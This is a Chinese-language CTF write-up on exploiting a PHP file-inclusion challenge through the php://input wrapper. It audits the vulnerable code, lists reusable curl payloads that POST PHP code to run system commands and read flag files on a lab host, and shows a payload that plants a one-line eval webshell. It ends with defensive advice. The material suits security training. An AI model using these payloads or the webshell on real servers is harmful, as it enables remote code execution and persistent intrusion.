CTF Writeup|文件包含漏洞进阶:php://input 伪协议实战利用
一、题目背景与源码审计
1.1 题目场景介绍
本题是一道经典的PHP本地文件包含(LFI)进阶题型,也是CTF高频考点。题目做了严格参数过滤,仅允许参数以 php://input 开头,常规的 php://filter、phar://、本地路径包含等利用方式全部失效,只能通过php://input 伪协议 + POST请求体传参 的方式实现PHP代码执行、读取Flag。
1.2 核心源码审计
题目核心源码如下,我们逐行分析漏洞触发逻辑与过滤规则:
<?php highlight_file(__FILE__); // 自定义函数:判断字符串是否以指定字符开头 function startsWith($str, $start) { $len = strlen($start); return (substr($str, 0, $len) === $start); } // 文件包含核心逻辑 if (isset($_GET['file'])) { $file = $_GET['file']; // 严格限制:仅允许参数以 php://input 开头 if (startsWith($file, 'php://input')) { include $file; } } ?>
1.3 漏洞核心分析
-
用户通过GET方式传入
file参数,程序通过startsWith函数做前缀校验,仅放行php://input协议; -
合法参数会直接传入
include()函数解析执行,无其他过滤、转义操作; -
include解析php://input伪协议时,会读取原始POST请求体数据,并将其作为PHP代码解析执行; -
所有其他伪协议、本地路径、远程路径均被过滤,唯一利用入口为
php://input。
二、php://input 伪协议漏洞原理
2.1 伪协议基础特性
php://input 是PHP内置的特殊伪协议,核心作用是读取HTTP请求的原始POST请求体数据。区别于其他文件包含伪协议,该协议不读取服务器文件,而是读取用户可控的POST数据。
当该协议被 include()、require() 等函数包含时,POST请求体内的所有内容会被PHP引擎解析为可执行代码,直接实现任意PHP代码执行。
2.2 协议使用前置条件
该伪协议成功利用必须满足两个核心条件,也是实战高频踩坑点:
-
PHP配置项
allow_url_include = On,CTF靶场默认开启,本地复现需手动修改php.ini配置; -
必须使用POST请求 传参,GET请求无请求体,无法传递恶意代码,不能触发漏洞。
三、完整实战解题步骤
靶场地址:http://180.76.235.121:34629/?file=php://input
利用思路:GET参数固定传入php://input 绕过前缀校验 → POST请求体传入恶意PHP代码 → 服务器解析执行代码 → 读取靶场Flag。
日常浏览器直接访问该链接会出现网页解析失败,可能是不支持的网页类型报错,属于正常现象!原因是浏览器默认GET请求无POST请求体,无代码可执行,并非漏洞失效,必须通过工具发送POST请求才可正常利用。
3.1 实战Payload合集(可直接复用)
以下三组Payload适配不同场景,可直接在终端通过curl命令执行:
Payload 1:遍历根目录 + 读取Flag(推荐,适配未知路径)
先列出根目录所有文件,确认Flag文件名称,再读取内容,适配绝大多数靶场:
curl -X POST -d "<?php system('ls /'); echo PHP_EOL; echo '--- Flag内容 ---'; echo PHP_EOL; system('cat /flag*.txt');?>" "http://180.76.235.121:34629/?file=php://input"
Payload 2:读取当前目录 flag.php 文件
适配Flag存放在网站运行目录的场景:
curl -X POST -d "<?php system('ls ./'); echo PHP_EOL; echo '--- flag.php内容 ---'; echo PHP_EOL; system('cat ./flag.php');?>" "http://180.76.235.121:34629/?file=php://input"
Payload 3:极简指令直接读取根目录Flag
确认Flag路径为 /flag 时使用,执行效率最高:
curl -X POST -d "<?php echo file_get_contents('/flag');?>" "http://180.76.235.121:34629/?file=php://input"
3.2 参数详解
-
-X POST:指定请求方式为POST,满足php://input协议请求要求; -
-d:携带POST请求体,传入恶意PHP执行代码; -
URL参数固定为
?file=php://input,绕过题目前缀过滤规则。
3.3 获取Flag结果
终端执行命令后,会优先输出目录文件列表,精准定位Flag文件路径,随后打印完整Flag内容,即可完成解题。
四、高频报错与避坑指南
4.1 浏览器访问报错:网页解析失败
报错现象:直接打开靶场链接提示“网页解析失败,可能是不支持的网页类型”
原因:浏览器默认发送GET请求,无POST请求体,php://input无数据可解析,页面无合法输出,触发解析异常。
解决方案:必须使用curl、BP、Postman等工具发送POST请求,不可直接浏览器访问。
4.2 请求无任何输出、漏洞不触发
-
检查请求方式:是否误使用GET请求;
-
检查PHP配置:本地复现需开启
allow_url_include = On; -
检查代码语法:POST体内PHP代码无语法错误、标签完整。
4.3 提示Flag文件不存在
CTF靶场Flag路径不固定,优先使用 ls / 遍历根目录,确认真实文件路径,常见路径:/flag、/flag.txt、./flag.php、/var/www/flag.php。
五、高阶拓展:php://input 深度利用场景
5.1 无回显带外命令执行
针对无回显靶场,可结合 ping、curl、DNSlog 实现带外数据传输,获取命令执行结果。
5.2 写入一句话木马(持久控制)
通过文件写入函数直接在服务器生成Webshell,实现持久化控制:
curl -X POST -d "<?php file_put_contents('shell.php', '<?php @eval(\$_POST[\"cmd\"]);?>');?>" "http://180.76.235.121:34629/?file=php://input"
执行成功后,服务器生成一句话木马,可通过蚁剑、菜刀等工具连接,获取网站权限。
六、安全防御方案
针对该类文件包含漏洞,可从代码、配置、参数校验三层防御:
-
参数白名单校验:禁止用户可控参数直接传入include、require函数,严格配置文件路径白名单;
-
关闭危险配置:线上环境关闭
allow_url_include = Off,禁用所有伪协议文件包含; -
过滤危险协议:代码层拦截
php://input、php://filter、phar://等高危伪协议。
七、总结
本题是典型的限制性文件包含高阶题型,核心考点就是 php://input 伪协议的特性利用。在各类常规伪协议被过滤的场景下,该协议是突破文件包含限制、实现代码执行的核心手段。
更多推荐

所有评论(0)